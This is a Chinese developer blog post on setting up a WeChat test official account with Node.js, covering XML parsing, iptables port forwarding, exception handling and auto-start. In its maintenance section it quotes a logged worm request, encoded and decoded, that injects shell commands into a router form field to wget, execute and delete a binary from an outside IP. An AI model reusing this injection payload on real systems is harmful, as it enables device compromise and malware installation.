初涉node.js做微信测试公众号一路填坑顺便发现个有趣的其他漏洞

【微信测试公众号】

半年前耍着玩搭起来的“微信简历”,是LAMP版的,很皮毛。

微信的官方文档在这 http://mp.weixin.qq.com/wiki/index.php

1.获取access token

2.自定义菜单创建,直接在调试工具上做了 http://mp.weixin.qq.com/debug

3.接入指南(接入自己的网站)

4.接收微信消息,判断消息类型,判断消息关键字(比如来自哪个按钮),响应消息

这里有个小坑,不同类型的消息数据结构略有不同,判空最好做细致点。

【V2.0 换nodejs后台】

用惯LAMP和Tomcat+SpringMVC,刚接触nodejs硬是看傻眼了~服务器呢?容器呢?要自己在js里监听端口。。。好伐,看着API查着demo搞起~于是开始填坑之旅啦~

1.微信的消息是xml格式,解析需要工具,比如xml2js

--->干脆直接找到个微信的框架node-wechat,瞄了一下依赖,底层就是xml2js,不用重复发明轮子了~认证部分sha1验证也不用自己写~

2.js文件放上Ubuntu服务器用node启动不了~【Error: listen EACCES】

--->查了一下是服务器80端口要用root运行~不想sudo让脚本权限太高,只好在iptables里把80端口的访问转发到比如8080~终于跑起来了。

3.微信消息的数据结构细节问题,比如没特意判断是否文本消息就取Content字段导致类似空指针错误。细心点就能解决的。

--->为此还特意进去看了一下node-wechat/index.js的代码,框架的作者还是蛮细致的,该处理的都处理了。

4.健壮性:随便一个非微信请求就会Exception奔溃退出。--->在js代码里加入try...catch却完全不起作用。

--->因为框架的设计是基于事件监听的模式,许多异步和回调的操作,不用try...catch捕捉,而是要用process.on(‘uncaughtException‘, callback)去处理。

5.日志。直接记录未解析的req对象得到的是[object],记录解析后的对象则取不到那些无效的请求。

--->不想太复杂又引入日志框架,直接把写文件的代码嵌入到微信的框架里,在读入请求流req.on(‘end‘, callback)里记录请求,完事~

6.守护进程。node监听端口是手动调用的,所以,进程启动也要自己手动去做。--->不想挂nohup,就安装了又一个node框架forever,而且要-g方式安装。

至此,测试公众号终于跑起来啦!

【后期维护】

过了两天没事上去检查日志,貌似还是不能很愉快地玩耍~

1.Caught exception: TypeError: Cannot read property ‘xml‘ of null

非微信请求,比如直接敲网址。反正错误已抓住了,就不处理了。想更健壮些可以对http请求做判断和日志。

2.可疑请求

#请求的原内容
%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%35%63%37%30%36%62%64%63%20%68%74%74%70%3a%2f%2f%32%30%36%2e%32%31%37%2e%31%35%2e%36%30%3a%33%32%30%30%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%35%63%37%30%36%62%64%63%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%35%63%37%30%36%62%64%63%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%35%63%37%30%36%62%64%63%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%2e%2f%2e%35%63%37%30%36%62%64%63%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31

#解码后
submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `cd /tmp;echo "#!/bin/sh" > .5c706bdc.sh;echo "wget -O .5c706bdc http://206.217.15.60:3200" >> .5c706bdc.sh;echo "chmod +x .5c706bdc" >> .5c706bdc.sh;echo "./.5c706bdc" >> .5c706bdc.sh;echo "rm .5c706bdc" >> .5c706bdc.sh;chmod +x .5c706bdc.sh;./.5c706bdc.sh`&StartEPI=1

whois查了一下ip是个奇怪的域名,网站为空,目测是个类似爬虫的东西。

查了一下关键字,发现是在乌云上登记的漏洞, http://www.wooyun.org/bugs/wooyun-2013-021321 基本上可以判定,就是个扫描攻击路由器的蠕虫~

已经把除了80和22以外的端口封掉了,不过请求就是从80端口进来的,没办法~

而且只是针对路由器的攻击,在我的应用中只是一堆编码,没威胁~况且故意跑了一下wget命令,也连不上,估计攻击方已经转移了~

3.开机无法自动启动——防火墙设置

iptables端口重定向设置,一重启就被重置。尝试了官网保存设置的方式 http://wiki.ubuntu.org.cn/IptablesHowTo#Saving_iptables_.E4.BF.9D.E5.AD.98.E8.AE.BE.E7.BD.AE 是生效了,但是貌似把云主机上的设置给覆盖了,导致22端口连不上,整台云主机就这样废掉了~~~找客服运维太麻烦了,直接重装了~~~

捣腾了好几回,最后决定在/etc/rc.local里添加命令,每次开机配置~成功~

4.开机无法自动启动——node应用自动启动

先前是用forever框架来管理应用,发现机器重启后应用并不能自动启动,还要另外安装checkconfig之类的服务器的一些程序,从简单的角度出发,还是照样交给rc.local吧~

然后为了后台运行且不用root运行以免权限太大,配合了nohup和su命令,重启后如期望的那样~

su -c "nohup nodejs /home/mydir/my.js > /home/mydir/console.log 2>&1 &" myuser

5.warning: possible EventEmitter memory leak detected. 11 listeners added.  Use emitter.setMaxListeners() to increase limit.

一口气开了太多监听事件,但框架就这么设计的,只好把限制设大呗~其实也不碍事~

好啦,终于填平所有坑,可以愉快地玩耍啦~

时间: 2024-10-22 20:08:20

初涉node.js做微信测试公众号一路填坑顺便发现个有趣的其他漏洞的相关文章

微信测试公众号配置地址

https://mp.weixin.qq.com/debug/cgi-bin/sandboxinfo?action=showinfo&t=sandbox/index 测试公众号 地址 https://mp.weixin.qq.com/debug/cgi-bin/apiinfo 微信接口调试地址 菜单配置: { "button": [ { "name": "name", "sub_button": [ { "t

微信公众号jssdk填坑

4月底的时候, 公众号的自定义分享突然不能使用了,  而且是新版本的微信存在这个问题, 老版本分享是正常的.   于是乎感觉是微信方面的bug, 各种找客服, 提交bug.  但是微信方面给的答复还是很含糊的, 几次都是建议多参考开发文档.   准备绝望之际, 奇迹般找到问题. 原来是微信有更新. 突然想到我的安全域是大写的,  但是分享的链接是小写的,   于是修改为大写,  测试, ok, 解决了. 总结就是最好关注 "微信开发者"  公众号,  这样才能第一时间看到啥更新. 希望

微信二次开发1-如何注册微信测试公众号

打开浏览器,这里以IE为例.输入:http://mp.weixin.qq.com/debug/cgi-bin/sandbox?t=sandbox/login 2 用手机登录你的微信,使用微信中的“扫一扫”功能,扫描上面网页中的二维码.在手机上会出现以下界面: 3 点击“确认登录”按钮,回到电脑的网页,网页将变为: 4 网页中提供了测试的微信号,及二维码等信息.填写微信帐号连接的URL网址,如果没有,可以申请一个sae免费空间.然后输入你的令牌号到Token(任意字符串,必须与你的URL网页中的T

【个人测试公众号】微信公众号接入过程问题笔记

网站备案审核实在太慢了. 然后就用了以前申请的sina sae空间+域名 配置了微信公众号个人测试沙箱 第一步 :先进入微信测试公众号页面 然后是手机微信扫码授权后,就有如下界面 第二步 :配置接口信息 这一步可以参照微信接入说明 ,该页提供一个php的实例下载,很简单基本上修改一下自定义的TOKEN就好了,然后把验证页面放到自己的服务器上. 这里我提供我做的一个例子: 准备资源: 域名+空间(我的是sae空间+万网域名).仅作验证的php文件 域名指向的空间根目录我创建了一个index.php

用java开发微信公众号:测试公众号与本地测试环境搭建(一)

俗话说,工欲善其事,必先利其器.要做微信公众号开发,两样东西不可少,那就是要有一个用来测试的公众号,还有一个用来调式代码的开发环境. 测试公众号 微信公众号有订阅号.服务号.企业号,在注册的时候看到这样的信息,只有订阅号可以个人申请,服务号和企业号要有企业资质才可以.这里所说的微信公众号开发指的是订阅号和服务号. 另外,未认证的个人订阅号有一些接口是没有权限的,并且目前个人订阅号已不支持微信认证,也就是说个人订阅号无法调用一些高级的权限接口,下图就是一个未认证的个人订阅号所具备权限列表,像生成二

学习node js 之微信公众帐号接口开发 准备工作

绪:因工作需要,最近开始学习Node js,之前隐隐约约听到过node js 但没有实际见到过,只好google了:至于什么是node js,能做些什么,有多么好,或者有哪些弊端我这里就不多说了,因为我也说不来. 注:因工作系统平台是windows环境,所以这一系列开发测试都以windows系统.(win7)系统: 一.准备工作: node js 安装 1. 进入node js官网,选择INSERTALL 会下载 xxxxx 86.msi 版本的:这个版本会把node js 和npm都安装好:

学习node js 之微信公众帐号接口开发 准备工作之三

app.js文件介绍,由于也是初学,下面的内容是个人的理解,有些不对的地方请评论中指证:以注解的形式说明. //依赖组件[模块]导入 var express = require('express'); var path = require('path'); var favicon = require('static-favicon'); var logger = require('morgan'); var cookieParser = require('cookie-parser'); var

根据微信的公众号获取公众号的二维码 根据公众号获得二维码的图片

最近在维护一个老项目,就是根据微信的公众号,也就是英文数字那串的公众号 来获得公众号的二维码的,我看了下,之前的代码是用的这个网址 http://open.weixin.qq.com/qr/code/?username=公众号微信号 同事反应说之前一直可以的,不知道为什么现在就不行了. 然后我也测试了下,使用我们公司的公众号名字,http://open.weixin.qq.com/qr/code/?username=xwykj888 打开后的地址显示的就是 Certificate test pa

微信在公众号增开了新广告位 这次是在图文消息头部

自上次微信推广功能在图文消息底部投放图片和文字链两种广告后,近日微信在公众号增开了新广告位,这次是在图文消息的头部,支持APP下载类营销推广. 微信广告平台发布了三大产品功能,全面支持APP下载类营销推广.主要方式有: 1. 图文消息顶部增加App下载卡片,流量场景更丰富 图文消息顶部广告位正在灰度测试中,现已支持投放App下载卡片与图片类广告,能够直接触达用户,达成效果转化,可促进品牌形象渗透. 2. 投放后台增加定向条件“用户兴趣”标签,定向工具更精准 微信广告根据用户基础属性.短期行为以及